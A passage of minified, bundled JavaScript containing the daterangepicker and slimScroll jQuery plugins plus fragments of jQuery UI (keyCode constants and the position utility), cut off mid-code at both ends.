t&&(this.startDate=e(t)),this.timePicker||(this.startDate=this.startDate.startOf("day")),this.timePicker&&this.timePickerIncrement&&this.startDate.minute(Math.round(this.startDate.minute()/this.timePickerIncrement)*this.timePickerIncrement),this.minDate&&this.startDate.isBefore(this.minDate)&&(this.startDate=this.minDate.clone(),this.timePicker&&this.timePickerIncrement&&this.startDate.minute(Math.round(this.startDate.minute()/this.timePickerIncrement)*this.timePickerIncrement)),this.maxDate&&this.startDate.isAfter(this.maxDate)&&(this.startDate=this.maxDate.clone(),this.timePicker&&this.timePickerIncrement&&this.startDate.minute(Math.floor(this.startDate.minute()/this.timePickerIncrement)*this.timePickerIncrement)),this.isShowing||this.updateElement(),this.updateMonthsInView()},setEndDate:function(t){"string"==typeof t&&(this.endDate=e(t,this.locale.format)),"object"==typeof t&&(this.endDate=e(t)),this.timePicker||(this.endDate=this.endDate.endOf("day")),this.timePicker&&this.timePickerIncrement&&this.endDate.minute(Math.round(this.endDate.minute()/this.timePickerIncrement)*this.timePickerIncrement),this.endDate.isBefore(this.startDate)&&(this.endDate=this.startDate.clone()),this.maxDate&&this.endDate.isAfter(this.maxDate)&&(this.endDate=this.maxDate.clone()),this.maxSpan&&this.startDate.clone().add(this.maxSpan).isBefore(this.endDate)&&(this.endDate=this.startDate.clone().add(this.maxSpan)),this.previousRightTime=this.endDate.clone(),this.container.find(".drp-selected").html(this.startDate.format(this.locale.format)+this.locale.separator+this.endDate.format(this.locale.format)),this.isShowing||this.updateElement(),this.updateMonthsInView()},isInvalidDate:function(){return!1},isCustomDate:function(){return!1},updateView:function(){this.timePicker&&(this.renderTimePicker("left"),this.renderTimePicker("right"),this.endDate?this.container.find(".right .calendar-time select").prop("disabled",!1).removeClass("disabled"):this.container.find(".right .calendar-time select").prop("disabled",!0).addClass("disabled")),this.endDate&&this.container.find(".drp-selected").html(this.startDate.format(this.locale.format)+this.locale.separator+this.endDate.format(this.locale.format)),this.updateMonthsInView(),this.updateCalendars(),this.updateFormInputs()},updateMonthsInView:function(){if(this.endDate){if(!this.singleDatePicker&&this.leftCalendar.month&&this.rightCalendar.month&&(this.startDate.format("YYYY-MM")==this.leftCalendar.month.format("YYYY-MM")||this.startDate.format("YYYY-MM")==this.rightCalendar.month.format("YYYY-MM"))&&(this.endDate.format("YYYY-MM")==this.leftCalendar.month.format("YYYY-MM")||this.endDate.format("YYYY-MM")==this.rightCalendar.month.format("YYYY-MM")))return;this.leftCalendar.month=this.startDate.clone().date(2),this.linkedCalendars||this.endDate.month()==this.startDate.month()&&this.endDate.year()==this.startDate.year()?this.rightCalendar.month=this.startDate.clone().date(2).add(1,"month"):this.rightCalendar.month=this.endDate.clone().date(2)}else this.leftCalendar.month.format("YYYY-MM")!=this.startDate.format("YYYY-MM")&&this.rightCalendar.month.format("YYYY-MM")!=this.startDate.format("YYYY-MM")&&(this.leftCalendar.month=this.startDate.clone().date(2),this.rightCalendar.month=this.startDate.clone().date(2).add(1,"month"));this.maxDate&&this.linkedCalendars&&!this.singleDatePicker&&this.rightCalendar.month>this.maxDate&&(this.rightCalendar.month=this.maxDate.clone().date(2),this.leftCalendar.month=this.maxDate.clone().date(2).subtract(1,"month"))},updateCalendars:function(){var e,t,n,r;this.timePicker&&(this.endDate?(e=parseInt(this.container.find(".left .hourselect").val(),10),t=parseInt(this.container.find(".left .minuteselect").val(),10),isNaN(t)&&(t=parseInt(this.container.find(".left .minuteselect option:last").val(),10)),n=this.timePickerSeconds?parseInt(this.container.find(".left .secondselect").val(),10):0,this.timePicker24Hour||("PM"===(r=this.container.find(".left .ampmselect").val())&&e<12&&(e+=12),"AM"===r&&12===e&&(e=0))):(e=parseInt(this.container.find(".right .hourselect").val(),10),t=parseInt(this.container.find(".right .minuteselect").val(),10),isNaN(t)&&(t=parseInt(this.container.find(".right .minuteselect option:last").val(),10)),n=this.timePickerSeconds?parseInt(this.container.find(".right .secondselect").val(),10):0,this.timePicker24Hour||("PM"===(r=this.container.find(".right .ampmselect").val())&&e<12&&(e+=12),"AM"===r&&12===e&&(e=0))),this.leftCalendar.month.hour(e).minute(t).second(n),this.rightCalendar.month.hour(e).minute(t).second(n));this.renderCalendar("left"),this.renderCalendar("right"),this.container.find(".ranges li").removeClass("active"),null!=this.endDate&&this.calculateChosenLabel()},renderCalendar:function(n){var r,i=(r="left"==n?this.leftCalendar:this.rightCalendar).month.month(),a=r.month.year(),o=r.month.hour(),s=r.month.minute(),l=r.month.second(),u=e([a,i]).daysInMonth(),c=e([a,i,1]),d=e([a,i,u]),f=e(c).subtract(1,"month").month(),h=e(c).subtract(1,"month").year(),m=e([h,f]).daysInMonth(),p=c.day();(r=[]).firstDay=c,r.lastDay=d;for(var _=0;_<6;_++)r[_]=[];var y=m-p+this.locale.firstDay+1;y>m&&(y-=7),p==this.locale.firstDay&&(y=m-6);for(var g=e([h,f,y,12,s,l]),v=(_=0,0),b=0;_<42;_++,v++,g=e(g).add(24,"hour"))_>0&&v%7==0&&(v=0,b++),r[b][v]=g.clone().hour(o).minute(s).second(l),g.hour(12),this.minDate&&r[b][v].format("YYYY-MM-DD")==this.minDate.format("YYYY-MM-DD")&&r[b][v].isBefore(this.minDate)&&"left"==n&&(r[b][v]=this.minDate.clone()),this.maxDate&&r[b][v].format("YYYY-MM-DD")==this.maxDate.format("YYYY-MM-DD")&&r[b][v].isAfter(this.maxDate)&&"right"==n&&(r[b][v]=this.maxDate.clone());"left"==n?this.leftCalendar.calendar=r:this.rightCalendar.calendar=r;var w="left"==n?this.minDate:this.startDate,M=this.maxDate,L=("left"==n?this.startDate:this.endDate,this.locale.direction,'<table class="table-condensed">');L+="<thead>",L+="<tr>",(this.showWeekNumbers||this.showISOWeekNumbers)&&(L+="<th></th>"),w&&!w.isBefore(r.firstDay)||this.linkedCalendars&&"left"!=n?L+="<th></th>":L+='<th class="prev available"><span></span></th>';var k=this.locale.monthNames[r[1][1].month()]+r[1][1].format(" YYYY");if(this.showDropdowns){for(var Y=r[1][1].month(),D=r[1][1].year(),T=M&&M.year()||this.maxYear,x=w&&w.year()||this.minYear,S=D==x,j=D==T,O='<select class="monthselect">',C=0;C<12;C++)(!S||w&&C>=w.month())&&(!j||M&&C<=M.month())?O+="<option value='"+C+"'"+(C===Y?" selected='selected'":"")+">"+this.locale.monthNames[C]+"</option>":O+="<option value='"+C+"'"+(C===Y?" selected='selected'":"")+" disabled='disabled'>"+this.locale.monthNames[C]+"</option>";O+="</select>";for(var H='<select class="yearselect">',E=x;E<=T;E++)H+='<option value="'+E+'"'+(E===D?' selected="selected"':"")+">"+E+"</option>";k=O+(H+="</select>")}if(L+='<th colspan="5" class="month">'+k+"</th>",M&&!M.isAfter(r.lastDay)||this.linkedCalendars&&"right"!=n&&!this.singleDatePicker?L+="<th></th>":L+='<th class="next available"><span></span></th>',L+="</tr>",L+="<tr>",(this.showWeekNumbers||this.showISOWeekNumbers)&&(L+='<th class="week">'+this.locale.weekLabel+"</th>"),t.each(this.locale.daysOfWeek,(function(e,t){L+="<th>"+t+"</th>"})),L+="</tr>",L+="</thead>",L+="<tbody>",null==this.endDate&&this.maxSpan){var P=this.startDate.clone().add(this.maxSpan).endOf("day");M&&!P.isBefore(M)||(M=P)}for(b=0;b<6;b++){for(L+="<tr>",this.showWeekNumbers?L+='<td class="week">'+r[b][0].week()+"</td>":this.showISOWeekNumbers&&(L+='<td class="week">'+r[b][0].isoWeek()+"</td>"),v=0;v<7;v++){var A=[];r[b][v].isSame(new Date,"day")&&A.push("today"),r[b][v].isoWeekday()>5&&A.push("weekend"),r[b][v].month()!=r[1][1].month()&&A.push("off","ends"),this.minDate&&r[b][v].isBefore(this.minDate,"day")&&A.push("off","disabled"),M&&r[b][v].isAfter(M,"day")&&A.push("off","disabled"),this.isInvalidDate(r[b][v])&&A.push("off","disabled"),r[b][v].format("YYYY-MM-DD")==this.startDate.format("YYYY-MM-DD")&&A.push("active","start-date"),null!=this.endDate&&r[b][v].format("YYYY-MM-DD")==this.endDate.format("YYYY-MM-DD")&&A.push("active","end-date"),null!=this.endDate&&r[b][v]>this.startDate&&r[b][v]<this.endDate&&A.push("in-range");var R=this.isCustomDate(r[b][v]);!1!==R&&("string"==typeof R?A.push(R):Array.prototype.push.apply(A,R));var I="",W=!1;for(_=0;_<A.length;_++)I+=A[_]+" ","disabled"==A[_]&&(W=!0);W||(I+="available"),L+='<td class="'+I.replace(/^\s+|\s+$/g,"")+'" data-title="r'+b+"c"+v+'">'+r[b][v].date()+"</td>"}L+="</tr>"}L+="</tbody>",L+="</table>",this.container.find(".drp-calendar."+n+" .calendar-table").html(L)},renderTimePicker:function(e){if("right"!=e||this.endDate){var t,n,r,i=this.maxDate;if(!this.maxSpan||this.maxDate&&!this.startDate.clone().add(this.maxSpan).isBefore(this.maxDate)||(i=this.startDate.clone().add(this.maxSpan)),"left"==e)n=this.startDate.clone(),r=this.minDate;else if("right"==e){n=this.endDate.clone(),r=this.startDate;var a=this.container.find(".drp-calendar.right .calendar-time");if(""!=a.html()&&(n.hour(isNaN(n.hour())?a.find(".hourselect option:selected").val():n.hour()),n.minute(isNaN(n.minute())?a.find(".minuteselect option:selected").val():n.minute()),n.second(isNaN(n.second())?a.find(".secondselect option:selected").val():n.second()),!this.timePicker24Hour)){var o=a.find(".ampmselect option:selected").val();"PM"===o&&n.hour()<12&&n.hour(n.hour()+12),"AM"===o&&12===n.hour()&&n.hour(0)}n.isBefore(this.startDate)&&(n=this.startDate.clone()),i&&n.isAfter(i)&&(n=i.clone())}t='<select class="hourselect">';for(var s=this.timePicker24Hour?0:1,l=this.timePicker24Hour?23:12,u=s;u<=l;u++){var c=u;this.timePicker24Hour||(c=n.hour()>=12?12==u?12:u+12:12==u?0:u);var d=n.clone().hour(c),f=!1;r&&d.minute(59).isBefore(r)&&(f=!0),i&&d.minute(0).isAfter(i)&&(f=!0),c!=n.hour()||f?t+=f?'<option value="'+u+'" disabled="disabled" class="disabled">'+u+"</option>":'<option value="'+u+'">'+u+"</option>":t+='<option value="'+u+'" selected="selected">'+u+"</option>"}for(t+="</select> ",t+=': <select class="minuteselect">',u=0;u<60;u+=this.timePickerIncrement){var h=u<10?"0"+u:u;d=n.clone().minute(u),f=!1,r&&d.second(59).isBefore(r)&&(f=!0),i&&d.second(0).isAfter(i)&&(f=!0),n.minute()!=u||f?t+=f?'<option value="'+u+'" disabled="disabled" class="disabled">'+h+"</option>":'<option value="'+u+'">'+h+"</option>":t+='<option value="'+u+'" selected="selected">'+h+"</option>"}if(t+="</select> ",this.timePickerSeconds){for(t+=': <select class="secondselect">',u=0;u<60;u++)h=u<10?"0"+u:u,d=n.clone().second(u),f=!1,r&&d.isBefore(r)&&(f=!0),i&&d.isAfter(i)&&(f=!0),n.second()!=u||f?t+=f?'<option value="'+u+'" disabled="disabled" class="disabled">'+h+"</option>":'<option value="'+u+'">'+h+"</option>":t+='<option value="'+u+'" selected="selected">'+h+"</option>";t+="</select> "}if(!this.timePicker24Hour){t+='<select class="ampmselect">';var m="",p="";r&&n.clone().hour(12).minute(0).second(0).isBefore(r)&&(m=' disabled="disabled" class="disabled"'),i&&n.clone().hour(0).minute(0).second(0).isAfter(i)&&(p=' disabled="disabled" class="disabled"'),n.hour()>=12?t+='<option value="AM"'+m+'>AM</option><option value="PM" selected="selected"'+p+">PM</option>":t+='<option value="AM" selected="selected"'+m+'>AM</option><option value="PM"'+p+">PM</option>",t+="</select>"}this.container.find(".drp-calendar."+e+" .calendar-time").html(t)}},updateFormInputs:function(){this.singleDatePicker||this.endDate&&(this.startDate.isBefore(this.endDate)||this.startDate.isSame(this.endDate))?this.container.find("button.applyBtn").prop("disabled",!1):this.container.find("button.applyBtn").prop("disabled",!0)},move:function(){var e,n={top:0,left:0},r=this.drops,i=t(window).width();switch(this.parentEl.is("body")||(n={top:this.parentEl.offset().top-this.parentEl.scrollTop(),left:this.parentEl.offset().left-this.parentEl.scrollLeft()},i=this.parentEl[0].clientWidth+this.parentEl.offset().left),r){case"auto":(e=this.element.offset().top+this.element.outerHeight()-n.top)+this.container.outerHeight()>=this.parentEl[0].scrollHeight&&(e=this.element.offset().top-this.container.outerHeight()-n.top,r="up");break;case"up":e=this.element.offset().top-this.container.outerHeight()-n.top;break;default:e=this.element.offset().top+this.element.outerHeight()-n.top}this.container.css({top:0,left:0,right:"auto"});var a=this.container.outerWidth();if(this.container.toggleClass("drop-up","up"==r),"left"==this.opens){var o=i-this.element.offset().left-this.element.outerWidth();a+o>t(window).width()?this.container.css({top:e,right:"auto",left:9}):this.container.css({top:e,right:o,left:"auto"})}else if("center"==this.opens)(s=this.element.offset().left-n.left+this.element.outerWidth()/2-a/2)<0?this.container.css({top:e,right:"auto",left:9}):s+a>t(window).width()?this.container.css({top:e,left:"auto",right:0}):this.container.css({top:e,left:s,right:"auto"});else{var s;(s=this.element.offset().left-n.left)+a>t(window).width()?this.container.css({top:e,left:"auto",right:0}):this.container.css({top:e,left:s,right:"auto"})}},show:function(e){this.isShowing||(this._outsideClickProxy=t.proxy((function(e){this.outsideClick(e)}),this),t(document).on("mousedown.daterangepicker",this._outsideClickProxy).on("touchend.daterangepicker",this._outsideClickProxy).on("click.daterangepicker","[data-toggle=dropdown]",this._outsideClickProxy).on("focusin.daterangepicker",this._outsideClickProxy),t(window).on("resize.daterangepicker",t.proxy((function(e){this.move(e)}),this)),this.oldStartDate=this.startDate.clone(),this.oldEndDate=this.endDate.clone(),this.previousRightTime=this.endDate.clone(),this.updateView(),this.container.show(),this.move(),this.element.trigger("show.daterangepicker",this),this.isShowing=!0)},hide:function(e){this.isShowing&&(this.endDate||(this.startDate=this.oldStartDate.clone(),this.endDate=this.oldEndDate.clone()),this.startDate.isSame(this.oldStartDate)&&this.endDate.isSame(this.oldEndDate)||this.callback(this.startDate.clone(),this.endDate.clone(),this.chosenLabel),this.updateElement(),t(document).off(".daterangepicker"),t(window).off(".daterangepicker"),this.container.hide(),this.element.trigger("hide.daterangepicker",this),this.isShowing=!1)},toggle:function(e){this.isShowing?this.hide():this.show()},outsideClick:function(e){var n=t(e.target);"focusin"==e.type||n.closest(this.element).length||n.closest(this.container).length||n.closest(".calendar-table").length||(this.hide(),this.element.trigger("outsideClick.daterangepicker",this))},showCalendars:function(){this.container.addClass("show-calendar"),this.move(),this.element.trigger("showCalendar.daterangepicker",this)},hideCalendars:function(){this.container.removeClass("show-calendar"),this.element.trigger("hideCalendar.daterangepicker",this)},clickRange:function(e){var t=e.target.getAttribute("data-range-key");if(this.chosenLabel=t,t==this.locale.customRangeLabel)this.showCalendars();else{var n=this.ranges[t];this.startDate=n[0],this.endDate=n[1],this.timePicker||(this.startDate.startOf("day"),this.endDate.endOf("day")),this.alwaysShowCalendars||this.hideCalendars(),this.clickApply()}},clickPrev:function(e){t(e.target).parents(".drp-calendar").hasClass("left")?(this.leftCalendar.month.subtract(1,"month"),this.linkedCalendars&&this.rightCalendar.month.subtract(1,"month")):this.rightCalendar.month.subtract(1,"month"),this.updateCalendars()},clickNext:function(e){t(e.target).parents(".drp-calendar").hasClass("left")?this.leftCalendar.month.add(1,"month"):(this.rightCalendar.month.add(1,"month"),this.linkedCalendars&&this.leftCalendar.month.add(1,"month")),this.updateCalendars()},hoverDate:function(e){if(t(e.target).hasClass("available")){var n=t(e.target).attr("data-title"),r=n.substr(1,1),i=n.substr(3,1),a=t(e.target).parents(".drp-calendar").hasClass("left")?this.leftCalendar.calendar[r][i]:this.rightCalendar.calendar[r][i],o=this.leftCalendar,s=this.rightCalendar,l=this.startDate;this.endDate||this.container.find(".drp-calendar tbody td").each((function(e,n){if(!t(n).hasClass("week")){var r=t(n).attr("data-title"),i=r.substr(1,1),u=r.substr(3,1),c=t(n).parents(".drp-calendar").hasClass("left")?o.calendar[i][u]:s.calendar[i][u];c.isAfter(l)&&c.isBefore(a)||c.isSame(a,"day")?t(n).addClass("in-range"):t(n).removeClass("in-range")}}))}},clickDate:function(e){if(t(e.target).hasClass("available")){var n=t(e.target).attr("data-title"),r=n.substr(1,1),i=n.substr(3,1),a=t(e.target).parents(".drp-calendar").hasClass("left")?this.leftCalendar.calendar[r][i]:this.rightCalendar.calendar[r][i];if(this.endDate||a.isBefore(this.startDate,"day")){if(this.timePicker){var o=parseInt(this.container.find(".left .hourselect").val(),10);this.timePicker24Hour||("PM"===(u=this.container.find(".left .ampmselect").val())&&o<12&&(o+=12),"AM"===u&&12===o&&(o=0));var s=parseInt(this.container.find(".left .minuteselect").val(),10);isNaN(s)&&(s=parseInt(this.container.find(".left .minuteselect option:last").val(),10));var l=this.timePickerSeconds?parseInt(this.container.find(".left .secondselect").val(),10):0;a=a.clone().hour(o).minute(s).second(l)}this.endDate=null,this.setStartDate(a.clone())}else if(!this.endDate&&a.isBefore(this.startDate))this.setEndDate(this.startDate.clone());else{var u;if(this.timePicker)o=parseInt(this.container.find(".right .hourselect").val(),10),this.timePicker24Hour||("PM"===(u=this.container.find(".right .ampmselect").val())&&o<12&&(o+=12),"AM"===u&&12===o&&(o=0)),s=parseInt(this.container.find(".right .minuteselect").val(),10),isNaN(s)&&(s=parseInt(this.container.find(".right .minuteselect option:last").val(),10)),l=this.timePickerSeconds?parseInt(this.container.find(".right .secondselect").val(),10):0,a=a.clone().hour(o).minute(s).second(l);this.setEndDate(a.clone()),this.autoApply&&(this.calculateChosenLabel(),this.clickApply())}this.singleDatePicker&&(this.setEndDate(this.startDate),!this.timePicker&&this.autoApply&&this.clickApply()),this.updateView(),e.stopPropagation()}},calculateChosenLabel:function(){var e=!0,t=0;for(var n in this.ranges){if(this.timePicker){var r=this.timePickerSeconds?"YYYY-MM-DD HH:mm:ss":"YYYY-MM-DD HH:mm";if(this.startDate.format(r)==this.ranges[n][0].format(r)&&this.endDate.format(r)==this.ranges[n][1].format(r)){e=!1,this.chosenLabel=this.container.find(".ranges li:eq("+t+")").addClass("active").attr("data-range-key");break}}else if(this.startDate.format("YYYY-MM-DD")==this.ranges[n][0].format("YYYY-MM-DD")&&this.endDate.format("YYYY-MM-DD")==this.ranges[n][1].format("YYYY-MM-DD")){e=!1,this.chosenLabel=this.container.find(".ranges li:eq("+t+")").addClass("active").attr("data-range-key");break}t++}e&&(this.showCustomRangeLabel?this.chosenLabel=this.container.find(".ranges li:last").addClass("active").attr("data-range-key"):this.chosenLabel=null,this.showCalendars())},clickApply:function(e){this.hide(),this.element.trigger("apply.daterangepicker",this)},clickCancel:function(e){this.startDate=this.oldStartDate,this.endDate=this.oldEndDate,this.hide(),this.element.trigger("cancel.daterangepicker",this)},monthOrYearChanged:function(e){var n=t(e.target).closest(".drp-calendar").hasClass("left"),r=n?"left":"right",i=this.container.find(".drp-calendar."+r),a=parseInt(i.find(".monthselect").val(),10),o=i.find(".yearselect").val();n||(o<this.startDate.year()||o==this.startDate.year()&&a<this.startDate.month())&&(a=this.startDate.month(),o=this.startDate.year()),this.minDate&&(o<this.minDate.year()||o==this.minDate.year()&&a<this.minDate.month())&&(a=this.minDate.month(),o=this.minDate.year()),this.maxDate&&(o>this.maxDate.year()||o==this.maxDate.year()&&a>this.maxDate.month())&&(a=this.maxDate.month(),o=this.maxDate.year()),n?(this.leftCalendar.month.month(a).year(o),this.linkedCalendars&&(this.rightCalendar.month=this.leftCalendar.month.clone().add(1,"month"))):(this.rightCalendar.month.month(a).year(o),this.linkedCalendars&&(this.leftCalendar.month=this.rightCalendar.month.clone().subtract(1,"month"))),this.updateCalendars()},timeChanged:function(e){var n=t(e.target).closest(".drp-calendar"),r=n.hasClass("left"),i=parseInt(n.find(".hourselect").val(),10),a=parseInt(n.find(".minuteselect").val(),10);isNaN(a)&&(a=parseInt(n.find(".minuteselect option:last").val(),10));var o=this.timePickerSeconds?parseInt(n.find(".secondselect").val(),10):0;if(!this.timePicker24Hour){var s=n.find(".ampmselect").val();"PM"===s&&i<12&&(i+=12),"AM"===s&&12===i&&(i=0)}if(r){var l=this.startDate.clone();l.hour(i),l.minute(a),l.second(o),this.setStartDate(l),this.singleDatePicker?this.endDate=this.startDate.clone():this.endDate&&this.endDate.format("YYYY-MM-DD")==l.format("YYYY-MM-DD")&&this.endDate.isBefore(l)&&this.setEndDate(l.clone())}else if(this.endDate){var u=this.endDate.clone();u.hour(i),u.minute(a),u.second(o),this.setEndDate(u)}this.updateCalendars(),this.updateFormInputs(),this.renderTimePicker("left"),this.renderTimePicker("right")},elementChanged:function(){if(this.element.is("input")&&this.element.val().length){var t=this.element.val().split(this.locale.separator),n=null,r=null;2===t.length&&(n=e(t[0],this.locale.format),r=e(t[1],this.locale.format)),(this.singleDatePicker||null===n||null===r)&&(r=n=e(this.element.val(),this.locale.format)),n.isValid()&&r.isValid()&&(this.setStartDate(n),this.setEndDate(r),this.updateView())}},keydown:function(e){9!==e.keyCode&&13!==e.keyCode||this.hide(),27===e.keyCode&&(e.preventDefault(),e.stopPropagation(),this.hide())},updateElement:function(){if(this.element.is("input")&&this.autoUpdateInput){var e=this.startDate.format(this.locale.format);this.singleDatePicker||(e+=this.locale.separator+this.endDate.format(this.locale.format)),e!==this.element.val()&&this.element.val(e).trigger("change")}},remove:function(){this.container.remove(),this.element.off(".daterangepicker"),this.element.removeData()}},t.fn.daterangepicker=function(e,r){var i=t.extend(!0,{},t.fn.daterangepicker.defaultOptions,e);return this.each((function(){var e=t(this);e.data("daterangepicker")&&e.data("daterangepicker").remove(),e.data("daterangepicker",new n(e,i,r))})),this},n}(e,t)}.apply(t,r))||(e.exports=i)},1402:function(e,n,r){var i,a=r(9755);(i=a).fn.extend({slimScroll:function(e){var n=i.extend({width:"auto",height:"250px",size:"7px",color:"#000",position:"right",distance:"1px",start:"top",opacity:.4,alwaysVisible:!1,disableFadeOut:!1,railVisible:!1,railColor:"#333",railOpacity:.2,railDraggable:!0,railClass:"slimScrollRail",barClass:"slimScrollBar",wrapperClass:"slimScrollDiv",allowPageScroll:!1,wheelStep:20,touchScrollStep:200,borderRadius:"7px",railBorderRadius:"7px"},e);return this.each((function(){var r,a,o,s,l,u,c,d,f="<div></div>",h=!1,m=i(this);if(m.parent().hasClass(n.wrapperClass)){var p=m.scrollTop();if(w=m.siblings("."+n.barClass),b=m.siblings("."+n.railClass),Y(),i.isPlainObject(e)){if("height"in e&&"auto"==e.height){m.parent().css("height","auto"),m.css("height","auto");var _=m.parent().parent().height();m.parent().css("height",_),m.css("height",_)}else if("height"in e){var y=e.height;m.parent().css("height",y),m.css("height",y)}if("scrollTo"in e)p=parseInt(n.scrollTo);else if("scrollBy"in e)p+=parseInt(n.scrollBy);else if("destroy"in e)return w.remove(),b.remove(),void m.unwrap();k(p,!1,!0)}}else if(!i.isPlainObject(e)||!("destroy"in e)){n.height="auto"==n.height?m.parent().height():n.height;var g=i(f).addClass(n.wrapperClass).css({position:"relative",overflow:"hidden",width:n.width,height:n.height});m.css({overflow:"hidden",width:n.width,height:n.height});var v,b=i(f).addClass(n.railClass).css({width:n.size,height:"100%",position:"absolute",top:0,display:n.alwaysVisible&&n.railVisible?"block":"none","border-radius":n.railBorderRadius,background:n.railColor,opacity:n.railOpacity,zIndex:90}),w=i(f).addClass(n.barClass).css({background:n.color,width:n.size,position:"absolute",top:0,opacity:n.opacity,display:n.alwaysVisible?"block":"none","border-radius":n.borderRadius,BorderRadius:n.borderRadius,MozBorderRadius:n.borderRadius,WebkitBorderRadius:n.borderRadius,zIndex:99}),M="right"==n.position?{right:n.distance}:{left:n.distance};b.css(M),w.css(M),m.wrap(g),m.parent().append(w),m.parent().append(b),n.railDraggable&&w.bind("mousedown",(function(e){var n=i(document);return o=!0,t=parseFloat(w.css("top")),pageY=e.pageY,n.bind("mousemove.slimscroll",(function(e){currTop=t+e.pageY-pageY,w.css("top",currTop),k(0,w.position().top,!1)})),n.bind("mouseup.slimscroll",(function(e){o=!1,T(),n.unbind(".slimscroll")})),!1})).bind("selectstart.slimscroll",(function(e){return e.stopPropagation(),e.preventDefault(),!1})),b.hover((function(){D()}),(function(){T()})),w.hover((function(){a=!0}),(function(){a=!1})),m.hover((function(){r=!0,D(),T()}),(function(){r=!1,T()})),m.bind("touchstart",(function(e,t){e.originalEvent.touches.length&&(l=e.originalEvent.touches[0].pageY)})),m.bind("touchmove",(function(e){h||e.originalEvent.preventDefault(),e.originalEvent.touches.length&&(k((l-e.originalEvent.touches[0].pageY)/n.touchScrollStep,!0),l=e.originalEvent.touches[0].pageY)})),Y(),"bottom"===n.start?(w.css({top:m.outerHeight()-w.outerHeight()}),k(0,!0)):"top"!==n.start&&(k(i(n.start).position().top,null,!0),n.alwaysVisible||w.hide()),v=this,window.addEventListener?(v.addEventListener("DOMMouseScroll",L,!1),v.addEventListener("mousewheel",L,!1)):document.attachEvent("onmousewheel",L)}function L(e){if(r){var t=0;(e=e||window.event).wheelDelta&&(t=-e.wheelDelta/120),e.detail&&(t=e.detail/3);var a=e.target||e.srcTarget||e.srcElement;i(a).closest("."+n.wrapperClass).is(m.parent())&&k(t,!0),e.preventDefault&&!h&&e.preventDefault(),h||(e.returnValue=!1)}}function k(e,t,r){h=!1;var i=e,a=m.outerHeight()-w.outerHeight();if(t&&(i=parseInt(w.css("top"))+e*parseInt(n.wheelStep)/100*w.outerHeight(),i=Math.min(Math.max(i,0),a),i=e>0?Math.ceil(i):Math.floor(i),w.css({top:i+"px"})),i=(c=parseInt(w.css("top"))/(m.outerHeight()-w.outerHeight()))*(m[0].scrollHeight-m.outerHeight()),r){var o=(i=e)/m[0].scrollHeight*m.outerHeight();o=Math.min(Math.max(o,0),a),w.css({top:o+"px"})}m.scrollTop(i),m.trigger("slimscrolling",~~i),D(),T()}function Y(){u=Math.max(m.outerHeight()/m[0].scrollHeight*m.outerHeight(),30),w.css({height:u+"px"});var e=u==m.outerHeight()?"none":"block";w.css({display:e})}function D(){if(Y(),clearTimeout(s),c==~~c){if(h=n.allowPageScroll,d!=c){var e=0==~~c?"top":"bottom";m.trigger("slimscroll",e)}}else h=!1;d=c,u>=m.outerHeight()?h=!0:(w.stop(!0,!0).fadeIn("fast"),n.railVisible&&b.stop(!0,!0).fadeIn("fast"))}function T(){n.alwaysVisible||(s=setTimeout((function(){n.disableFadeOut&&r||a||o||(w.fadeOut("slow"),b.fadeOut("slow"))}),1e3))}})),this}}),i.fn.extend({slimscroll:i.fn.slimScroll})},7053:function(e,t,n){var r,i,a;i=[n(9755),n(5592)],void 0===(a="function"==typeof(r=function(e){return e.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}})?r.apply(t,i):r)||(e.exports=a)},1822:function(e,t,n){var r,i,a;i=[n(9755),n(5592)],void 0===(a="function"==typeof(r=function(e){return function(){var t,n=Math.max,r=Math.abs,i=/left|center|right/,a=/top|center|bottom/,o=/[\+\-]\d+(\.[\d]+)?%?/,s=/^\w+/,l=/%$/,u=e.fn.position;function c(e,t,n){return[parseFloat(e[0])*(l.test(e[0])?t/100:1),parseFloat(e[1])*(l.test(e[1])?n/100:1)]}function d(t,n){return parseInt(e.css(t,n),10)||0}function f(t){var n=t[0];return 9===n.nodeType?{width:t.width(),height:t.height(),offset:{top:0,left:0}}:e.isWindow(n)?{width:t.width(),height:t.height(),offset:{top:t.scrollTop(),left:t.scrollLeft()}}:n.preventDefault?{width:0,height:0,offset:{top:n.pageY,left:n.pageX}}:{width:t.outerWidth(),height:t.outerHeight(),offset:t.offset()}}e.position={scrollbarWidth:function(){if(void 0!==t)return t;var n,r,i=e("<div style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>"),a=i.children()[0];return e("body").append(i),n=a.offsetWidth,i.css("overflow","scroll"),n===(r=a.offsetWidth)&&(r=i[0].clientWidth),i.remove(),t=n-r},getScrollInfo:function(t){var n=t.isWindow||t.isDocument?"":t.element.css("overflow-x"),r=t.isWindow||t.isDocument?"":t.element.css("overflow-y"),i="scroll"===n||"auto"===n&&t.width<t.element[0].scrollWidth;return{width:"scroll"===r||"auto"===r&&t.height<t.element[0].scrollHeight?e.position.scrollbarWidth():0,height:i?e.position.scrollbarWidth():0}},getWithinInfo:function(t){var n=e(t||window),r=e.isWindow(n[0]),i=!!n[0]&&9===n[0].nodeType;return{element:n,isWindow:r,isDocument:i,offset:r||i?{left:0,top:0}:e(t).offset(),scrollLeft:n.scrollLeft(),scrollTop:n.scrollTop(),width:n.outerWidth(),height:n.outerHeight()}}},e.fn.position=function(t){if(!t||!t.of)return u.apply(this,arguments);t=e.extend({},t);var l,h,m,p,_,y,g=e(t.of),v=e.position.getWithinInfo(t.within),b=e.position.getScrollInfo(v),w=(t.collision||"flip").split(" "),M={};return y=f(g),g[0].preventDefault&&(t.at="left top"),h=y.width,m=y.height,p=y.offset,_=e.extend({},p),e.each(["my","at"],(function(){var e,n,r=(t[this]||"").split(" ");1===r.length&&(r=i.test(r[0])?r.concat(["center"]):a.test(r[0])?["center"].concat(r):["center","center"]),r[0]=i.test(r[0])?r[0]:"center",r[1]=a.test(r[1])?r[1]:"center",e=o.exec(r[0]),n=o.exec(r[1]),M[this]=[e?e[0]:0,n?n[0]:0],t[this]=[s.exec(r[0])[0],s.exec(r[1])[0]]})),1===w.length&&(w[1]=w[0]),"right"===t.at[0]?_.left+=h:"center"===t.at[0]&&(_.left+=h/2),"bottom"===t.at[1]?_.top+=m:"center"===t.at[1]&&(_.top+=m/2),l=c(M.at,h,m),_.left+=l[0],_.top+=l[1],this.each((function(){var 